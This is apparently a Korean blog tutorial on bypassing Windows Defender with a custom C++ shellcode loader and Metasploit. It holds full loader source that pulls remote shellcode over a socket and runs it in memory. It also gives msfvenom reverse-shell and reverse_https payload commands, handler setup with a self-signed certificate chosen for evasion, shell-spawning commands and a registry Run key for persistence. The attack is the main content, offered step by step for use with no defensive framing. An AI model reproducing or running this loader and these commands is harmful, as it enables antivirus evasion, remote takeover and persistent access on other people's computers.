Security

How to bypass Windows Defender

How to bypass Windows Defender with Custom C++ .EXE Payload Loader (Meterpreter Reverse Shell)

아래 사이트로 들어가서 1 - Simple Loader/SimpleLoader 로 들어가자

https://github.com/TheD1rkMtr/Shellcode-Hide

SimpleLoader.cpp 를 복사하고 칼리에서 template.exe 라는 파일을 하나 만들어서 내용을 붙여넣기 하자.

Copy
nano template.cpp

아래 payload 명령을 실행하면 화면에 코드가 출력된다.
Copy
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.50.9 lport=8443 -f c

복사해서 template.cpp 화일에 붙여넣기 하자.

컴파일 하자.

Copy
x86_64-w64-mingw32-g++ --static -o template.exe template.cpp

target 머신에서 template.exe 를 실행하면 windows defender에 의해 차단된다.
c++ exe payload loader 안에 metasploit shell code가 있기 때문이다.
http 서버에서 원격으로 payload 를 가져오는 방식으로 접근해야 한다.
다시 아래 사이트로 들어가서

https://github.com/TheD1rkMtr/Shellcode-Hide
4 - Fileless Shellcode 로 들어가자.
1 - Using Sockets 로 들어가자.

getShellcode_Run 함수를 복사해서 template.exe 에 붙여넣기 하자.
필요한 헤더파일도 모두 복사해서 붙여넣자.
main 함수도 복사해서 붙여넣자.
최종 수정해서 컴파일 하면 에러가 발생한다.

Copy
x86_64-w64-mingw32-g++ --static -o template.exe template.cpp -fpermissive

소켓 라이브러리 관련 에러가 발생한다.
Copy
x86_64-w64-mingw32-g++ --static -o template.exe template.cpp -fpermissive -lws2_32

컴파일에 성공하고 template.exe 파일이 만들어 졌다.

template.cpp
Copy
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")

#define DEFAULT_BUFLEN 4096

void getShellcode_Run(char* host, char* port, char* resource) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;

    
    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed with error123: %d\n", iResult);
        return ;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return ;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return ;
        }

        // Connect to server.
        printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return ;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return ;
    }

    printf("\n[+] Sent %ld Bytes\n", iResult);
    
    // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return ;
    }
    
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
            printf("[+] Received %d Bytes\n", iResult);
        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());

	      LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(recvbuf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

        if (!alloc_mem) {
                printf("Failed to Allocate memory (%u)\n", GetLastError());
                return -1;
        }
        
        MoveMemory(alloc_mem, recvbuf, sizeof(recvbuf));
        //RtlMoveMemory(alloc_mem, payload, sizeof(payload));


        DWORD oldProtect;

        if (!VirtualProtect(alloc_mem, sizeof(recvbuf), PAGE_EXECUTE_READ, &oldProtect)) {
                printf("Failed to change memory protection (%u)\n", GetLastError());
                return -2;
        }


        HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
        if (!tHandle) {
                printf("Failed to Create the thread (%u)\n", GetLastError());
                return -3;
        }

        printf("\n\nalloc_mem : %p\n", alloc_mem);
        WaitForSingleObject(tHandle, INFINITE);
        ((void(*)())alloc_mem)();

        return 0;


    } while (iResult > 0);

    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();
}

int main(int argc, char** argv) {

    // Validate the parameters
    if (argc != 4) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
        return 1;
    }

    getShellcode_Run(argv[1], argv[2], argv[3]);

    return 0;

}

payload file 을 만들자.
Copy
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.50.9 lport=8443 -f raw > beacon.bin

web server 를 실행하자.
Copy
python -m http.server

target 머신으로 가서 cmd 에서 다음을 실행하자.

칼리에서 ssh service 가 실행중이면 다음 scp 명령어를 이용할수 있다.

Copy
scp root@192.168.50.9:/root/demo/template.exe .
template.exe 192.168.50.9 8000 beacon.bin

session 이 연결 되고 처음 에는 디펜더가 감지를 못하지만 이후에 결국 감지한다.

이를 우회 하려면 reverese tcp shell code 대신 암호화된 https payload 를 이용해야 한다.

Copy
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.50.9 lport=8443 -f raw > beacon.bin

metasploit 을 실행하자.

Copy
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
show options
set LHOST 192.168.50.9
show advanced

windows defender 를 우회 하려면 metasploit 이 자체 서명된 ssl 인증서를 이용해야 한다.
아래 사이트로 들어가서 Create a SSL/TLS Certificate 부분 아래에 있는 내용을 복사하자.

https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-paranoid-mode.html

metasploit 에서 벗어나서 복사한 내용을 실행하자.

Copy
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
    -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=www.example.com" \
    -keyout www.example.com.key \
    -out www.example.com.crt && \
cat www.example.com.key  www.example.com.crt > www.example.com.pem && \
rm -f www.example.com.key  www.example.com.crt

www.example.com.pem 이 만들어진 것을 확인할수 있다.

metasploit 으로 돌아와서

Copy
set HandlerSSLCert /root/demo/www.example.com.pem
set StagerVerifySSLCert true

metasploit 에서 벗어나서 payload를 다시 만들자.
Copy
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.50.9 lport=8443 HandlerSSLCert=/root/demo/www.example.com.pem StagerVerifySSLCert=true -f raw > beacon.bin

metasploit 로 돌아와서 exploit 하자.
Copy
msf6 exploit(multi/handler) > exploit

metasploit 에서 벗어나서 web server를 실행하자.
Copy
python -m http.server

이제 target 머신으로 가서 template.exe 를 다운로드 하고 실행하자.
Copy
scp root@192.168.50.9:/root/Bypass/template.exe .
template.exe 192.168.50.9 8000 beacon.bin

windows defender 를 우회하는 metasploit session 이 만들어 졌다.

참고로 아래 명령을 실행하면 쉘을 얻을수 있고

Copy
meterpreter > execute -f cmd.exe -i -H

쉘을 얻은후 power shell 도 얻을수 있다.
Copy
c:\test>powershell

아래는 windows 10 에서 시작 프로그램으로 등록하는 방법이다.
Copy
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v template /t REG_SZ /d "C:\test\template.exe 192.168.50.9 8000 beacon.bin" /f

Reference